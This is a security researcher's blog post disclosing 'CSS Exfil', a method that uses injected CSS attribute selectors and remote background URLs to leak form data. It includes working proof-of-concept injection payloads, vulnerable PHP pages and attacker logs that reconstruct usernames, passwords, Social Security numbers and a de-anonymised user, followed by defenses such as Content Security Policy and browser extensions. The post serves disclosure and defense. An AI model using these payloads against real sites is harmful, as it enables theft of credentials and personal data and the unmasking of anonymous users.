Stealing Data With CSS: Attack and Defense

Summary: A method is detailed - dubbed CSS Exfil - which can be used to steal targeted data using Cascading Style Sheets (CSS) as an attack vector.  Due to the modern web's heavy reliance on CSS, a wide variety of data is potentially at risk, including: usernames, passwords, and sensitive data such as date of birth, social security numbers, and credit card numbers.  The technique can also be used to de-anonymize users on dark nets like Tor. Defense methods are discussed for both website operators as well as web users, and a pair of browser extensions are offered which guard against this class of attack.

Several months ago I began tinkering with Chrome's XSS auditor looking for bypasses.  One remote injection method which reliably got through Chrome's filter was CSS injection.  By utilizing injected CSS, an attacker essentially has complete control over the look-and-feel of a page.  I also discovered an attacker can leverage CSS to steal form data.  By utilizing CSS alone, browser protections like NoScript can't block the egress of data (although NoScript's XSS auditor is more effective than Chrome at blocking some of the injection Proof of Concept attacks detailed below).

While CSS injection is not a new vulnerability, using CSS as the sole attack vector to reliably exfiltrate data - to my knowledge - has never been presented.  I am also not aware of any effective method previously documented to guard end users against such attack - other than to block CSS, which is not a practical solution.

The only mention I could find of a similar egress method, is this discussion on the OWASP website from 2014, which demonstrates how CSS can be used to beacon an attacker when certain data is present on a web page.  (Admittedly, I found this page later when researching possible mitigation techniques.)  A couple weeks ago I also became aware of a GitHub project dubbed Crooked Style Sheets, which uses CSS to track web users.

The CSS Exfil attack centers around the CSS 'value selectors', which can be used to parse HTML tag attribute data.  Here is a summary of these selectors (paraphrased from W3Schools):

[attribute=value]   [foo=bar] Selects all elements with foo="bar"
[attribute~=value]  [foo~=bar] Selects all elements with a foo attribute containing the word "bar"
[attribute|=value]  [foo|=bar]  Selects all elements with a foo attribute value starting with "bar"
[attribute^=value]  [foo^="bar"]  Selects all elements with a foo attribute value starting with "bar"
[attribute$=value]  [foo$="bar"] Selects all elements with a foo attribute value ending with "bar"
[attribute*=value]  [foo*="bar"]  Selects all elements with a foo attribute which contains the substring "bar"
<style> #username[value="mikeg"] {         background:url(""); }
<input id="username" value="mikeg" />

In the above example, when the HTML/CSS is rendered in a web browser, a background image is loaded on a remote host controlled by the attacker, indicating the value of the input is 'mikeg'. To make the attack more useful, additional text parsing is required. Below are several proof of concept exploits demonstrating the variety, scope, and severity of potential attacks.

<head> <style> #username[value*="aa"]~#aa{background:url("");}#username[value*="ab"]~#ab{background:url("");}#username[value*="ac"]~#ac{background:url("");}#username[value^="a"]~#a_{background:url("");}#username[value$="a"]~#_a{background:url("");}#username[value*="ba"]~#ba{background:url("");}#username[value*="bb"]~#bb{background:url("");}#username[value*="bc"]~#bc{background:url("");}#username[value^="b"]~#b_{background:url("");}#username[value$="b"]~#_b{background:url("");}#username[value*="ca"]~#ca{background:url("");}#username[value*="cb"]~#cb{background:url("");}#username[value*="cc"]~#cc{background:url("");}#username[value^="c"]~#c_{background:url("");}#username[value$="c"]~#_c{background:url("");} </style>
<body> <form> Username: <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" /> <input id="form_submit" type="submit" value="submit"/> <a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c"> </form>

The above example isn't all that realistic but it demonstrates the fundamentals of the CSS Exfil attack. When a user enters any string consisting of the letters 'a' 'b 'c', specific elements will be styled with a non-existent background image at a remote attacker URL. For the attack to succeed three conditions need to be in place:

  • Condition #1: The data being parsed must be present on page load
  • Condition #2: There must be one or more elements which can be referenced via a CSS selector relative to the data element
  • Condition #3: The element must be styled with a CSS property which takes a URL (e.g. background / background-image, list-style / list-style-image, or cursor).
  • Upon visiting hxxps://victim[.]host/css-exfil-poc1[.]php?username=abcab, the attacker will receive data like this. - - [25/Jan/2018:22:36:46 -0500] "GET /ab HTTP/1.1" 404 22 - - [25/Jan/2018:22:36:46 -0500] "GET /a_ HTTP/1.1" 404 22 - - [25/Jan/2018:22:36:46 -0500] "GET /bc HTTP/1.1" 404 22 - - [25/Jan/2018:22:36:46 -0500] "GET /_b HTTP/1.1" 404 22 - - [25/Jan/2018:22:36:46 -0500] "GET /ca HTTP/1.1" 404 22

    Which can be re-assembled like this:

    a # a_
    ab # ab
    abc # bc
    abca # ca
    abcab # _b

    The malicious CSS utilizes pattern matching for two character combinations ('aa', 'ab', 'ac'...) as well as detection of the first and last letter of the string ('a_' & '_a' callbacks). This method provides a reliable method of reconstructing data. The limitation is that repeating patterns may not always be apparent and reconstruction may sometimes require human intelligence if the data decodes to multiple strings.

    Why not use three character matching or longer? In a word: practicality. If the structure of the data can be anticipated it may be possible to use longer strings, which I will illustrate below. The more targeted the attack the more it becomes possible to make better data predictions and reduce the CSS footprint. But in general, the two-character first/last-character approach provides the best performance to attack footprint.

    All two letter English alphabet lower case alphabet permutations work out to P(26,2) = 650. Three character permutations increases the footprint to P(26,3) = 15,600, making it much more unlikely that Condition #2 will be possible. This table describes the attributes of various attack alphabet.

    Alphabet Regex Calculation Required Elements Estimated CSS Payload
    Numeric [0-9] P(10,2) + (10 * 2) 110 7.7 KB
    Lowercase [a-z] P(26,2) + (26 * 2) 702 49.14 KB
    Lower/uppercase [A-Za-z] P(52,2) + (52 * 2) 2,756 192.92 KB
    Lower/uppercase / Numeric [A-Za-z0-9] P(62,2) + (62 * 2) 3,906 273.42 KB
    Lower/uppercase / Numeric / 32 symbols P(94,2) + (92 * 2) 8,926 624.82 KB

    Depending where the targeted data element resides within a page, large alphabets may be possible without HTML injection. Running document.getElementsByTagName('*').length; in your browser console will display the total number of DOM (Document Object Model) elements on a page, which can provide an upper bound. For example, my homepage (at the time of this writing) has ~750 DOM elements in total. A test of Slashdot yielded ~2,100 elements and Google News yielded ~6,900 elements! That's not to say that each DOM element can be properly referenced by the target element, but it gives an upper bound on what may be possible without additional DOM injection.

    Proof of Concept #2

    Utilize an injection flaw to add a fake password input into the page and use CSS Exfil to steal password.

    Vulnerable URL: hxxp://victim[.]host/css-exfil-poc2[.]php?username="><br/>Password:<form><input type=password name=hidden_ele><br/><input type=submit></form><style>#form_submit{display:none;}</style><br

    <head> <style> #hidden_ele[value*="aa"]~#aa{background:url("");}#hidden_ele[value*="ab"]~#ab{background:url("");}#hidden_ele[value*="ac"]~#ac{background:url("");}#hidden_ele[value^="a"]~#a_{background:url("");}#hidden_ele[value$="a"]~#_a{background:url("");}#hidden_ele[value*="ba"]~#ba{background:url("");}#hidden_ele[value*="bb"]~#bb{background:url("");}#hidden_ele[value*="bc"]~#bc{background:url("");}#hidden_ele[value^="b"]~#b_{background:url("");}#hidden_ele[value$="b"]~#_b{background:url("");}#hidden_ele[value*="ca"]~#ca{background:url("");}#hidden_ele[value*="cb"]~#cb{background:url("");}#hidden_ele[value*="cc"]~#cc{background:url("");}#hidden_ele[value^="c"]~#c_{background:url("");}#hidden_ele[value$="c"]~#_c{background:url("");} </style>
    <body> <form> Username: <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" /> <input id="hidden_ele" name="hidden_ele" type="hidden" value="<?php echo $_GET['hidden_ele'] ?> "/> <input id="form_submit" type="submit" value="submit"/> <a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c"> </form>
    CSS Exfil Proof of Concept #2

    The example above is much like PoC #1, but leverages a code injection flaw to add a fake password input on the page. If the victim enters their password and presses enter the password is passed to hidden_ele on page load, fulfilling CSS Exfil Condition #1.

    Proof of Concept #3

    Utilize CSS Exfil with expanded alphabet to steal username.

    Vulnerable URL: hxxp://attack[.]host/css-exfil-poc3[.]php?username=ZeroC00L

    <body> <form> Username: <input type="text" id="username" name="username" value="<?php echo $_GET["username"] ?>" /> <link href="" rel="stylesheet" type="text/css"> <?php include("css-exfil.php"); echo $_html; ?> </form>

    The above code relies on 46KB of injected HTML into the DOM provided by css-exfil.php. The script is utilized for convenience, not realism. In a true attack scenario, the code would be injected by other means.

    Remote calls to attacker after victim visits vulnerable URL: - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22

    Assembled data:

    Z # Z_
    Ze # Ze
    Zer # er
    Zero # ro
    ZeroC # oC
    ZeroC0 # C0
    ZeroC00 # 00
    ZeroC00L # 0L _L

    Proof of Concept #4

    Utilize CSS Exfil to verify the identity of a suspected dark web user, by tricking individual to click on a link.

    Vulnerable URL: hxxp://victim[.]host/css-exfil-poc4[.]php?xss="><style>[value="deadbeef"]{background:url("hxxps://victim[.]host/deadbeef_found");}</style><br

    <body> <form> <h1>Your Account</h1> Username: <input id="username" value="deadbeef"><br/> XSS Field: <input type="text" name="xss" value="<?php echo $_GET["xss"] ?>" /> </form>

    Remote beacon to attacker: - - [30/Jan/2018:18:06:35 -0500] "GET /deadbeef_found HTTP/1.1" 404 22

    The above log entry would have confirmed that the target is indeed the user 'deadbeef', de-anonymizing their identity.

    Proof of Concept #5

    Utilize CSS Exfil to steal SSN and Date of Birth by leveraging a code injection flaw.

    Vulnerable URL: hxxp://victim[.]host/css-exfil-poc5[.]php?xss="><link href='hxxps://attack[.]host/poc5-css.php' rel='stylesheet' type='text/css'><input name='xss' type='hidden' value='"><link href=/poc5-css.php rel=stylesheet type=text/css><br'><br><input type=submit value='Click to continue...'><style>[value=submit]{display:none;}.fields-note{display:none;}.fields-last{display:none;}</style><br

    <body> <form> <h1>Secure Sign Up Form</h1> <div class="form-container"> <div class="fields-ssn"> <label>Social Security number*</label> <br> <input name="ssn1" type="password" size="3" maxlength="3" value="<?php echo $_GET["ssn1"] ?>"> <input name="ssn2" type="password" size="2" maxlength="2" value="<?php echo $_GET["ssn2"] ?>"> <input name="ssn3" type="password" size="4" maxlength="4" value="<?php echo $_GET["ssn3"] ?>"> </div> <div class="fields-dob"> <label>Date of birth*</label> <br> <input name="dob1" type="text" size="2" maxlength="2" value="<?php echo $_GET["dob1"] ?>"> <input name="dob2" type="text" size="2" maxlength="2" value="<?php echo $_GET["dob2"] ?>"> <input name="dob3" type="text" size="4" maxlength="4" value="<?php echo $_GET["dob3"] ?>"> </div> XSS Field: <input name="xss" value="<?php echo $_GET["xss"] ?>"/> <div class="fields-note"> <div> <em>Provide your e-mail address for faster results!</em> </div> </div> <div class="fields-last"> <div class="col"> <label>Email address:</label> <input name="email" type="text"> </div> <div class="col"> <label>Confirm email address</label> <input name="emailConfirm" type="text"> </div> </div> <div> <input id="submit_form" type="submit" value="submit" /> </div> </div> </form>

    Remote calls to attacker after victim visits vulnerable URL: - - [31/Jan/2018:19:45:41 -0500] "GET /Jan HTTP/1.1" 404 22 - - [31/Jan/2018:19:45:41 -0500] "GET /31 HTTP/1.1" 404 22 - - [31/Jan/2018:19:45:41 -0500] "GET /1975 HTTP/1.1" 404 22 - - [31/Jan/2018:19:45:41 -0500] "GET /ssn6789 HTTP/1.1" 404 22 - - [31/Jan/2018:19:45:41 -0500] "GET /ssn45 HTTP/1.1" 404 22 - - [31/Jan/2018:19:45:41 -0500] "GET /ssn123 HTTP/1.1" 404 22

    Assembled data:

    01/31/1975 # /Jan /31 /1975
    123-45-6789 # /ssn123 /ssn45 /ssn6789
    CSS Exfil Proof of Concept #5

    The above example is inspired by a real-world form I encountered, and is vulnerable to a code injection flaw which is utilized to: 1) Include a remote CSS file (hxxp://attack[.]host/poc5-css.php) and 2) Alter the page to make it appear that the form is a two step process so the user must submit the form to continue entering data. Upon reload, the previously entered data is present on the page on load fulfilling Condition #1. Since assumptions can be made about the target data, only six DOM elements need to be present on the page (the six input boxes targeted in the form). Since numeric data (e.g. SSN, date of birth, credit card data) relies on a small alphabet, CSS Exfil is an especially effective and realistic attack scenario.

    Defense Against CSS Exfil

    Defense for Website Operators

    The best defense for website operators is to use a Content Security Policy (CSP) as part of your configuration. Fixing code injection flaws and using a Web Application Firewall can help, but there are still classes of CSS Exfil attacks that may still be affective against your website and which are outside an operator's direct control (like malicious browser extensions or code injection through advertisements). By adding a CSP, it will limit the ability for an attacker to make calls to the remote URL's used to siphon data or include a rouge CSS document.

    A CSP provides a host of benefits beyond protection against CSS Exfil, although admittedly a CSP for a complex site is sometimes difficult to implement. I recommend reading the resources provided by security experts Troy Hunt and Scott Helme who are vocal advocates of utilizing a CSP. There may be attack scenarios where a CSP will not be effective, such as if a whitelisted resource has become compromised, but a CSP will make an attacker's life a lot more difficult.

    Defense for Web Users

    For web users the best defense is to ensure that such malicious CSS is not parsed by your browser. As such, I developed a pair of browser plugins for Chrome and Firefox which aim to protect against CSS Exfil attacks. I've also added a vulnerability tester on this website so you can test if your browser is vulnerable. The plugins are fully open source and can be inspected on their GitHub project page. They are provided as-is without any warranty or guarantee, under the MIT License.

    Each plugin works by pre-processing the CSS which is loaded onto a web page. Inspection and sanitization of each CSSRule is done through the browser's native CSSStyleSheet JavaScript API. If a CSSRule.selectorText is detected that: 1) Parses the value attribute of an element, and 2) If the corresponding CSSRule.cssText includes a call to a remote URL, a new rule is created to override the call to the remote URL.

    Some additional processing is required for cross-domain stylesheets, as CSSRule properties are not available. Accessing cross-domain CSSRule properties violates the browser's native CORS Security Policy. To properly sanitize cross-domain stylesheets, a temporary same-origin stylesheet is created, sanitized, and removed. Chrome also requires temporary blocking of some CSS to prevent the loading of cross-domain resources awaiting sanitization. The Firefox implementation had additional complications, but in the end works very similar to the Chrome version.

    I've been using various forms of the plugin in my browsers for weeks now and haven't noticed any visible performance hit or glitches when loading pages. The CSS rules that are blocked, in my opinion, are edge cases which will not change any code on 99.99% of legitimate sites.

    As security vulnerabilities go, I can't guarantee that this plugin will block all classes of CSS Exfil attacks. But, it appears to block all variations of CSS Exfil that I am aware of at the time of this writing. If you manage the bypass the protections this plugin provides I would like to hear from you so protection can be added! I would also love to see major browsers integrate this type of protection so such plugins are no longer needed.


    Several attack scenarios have been presented which leverage CSS selector parsing to exfiltrate data from websites. Protection methods have been offered and a browser vulnerability tester has been provided. If you have any constructive comments or suggestions I welcome feedback!

    Posted: Feb 06, 2018

    Keyword tags: CSS Exfilexploitweb security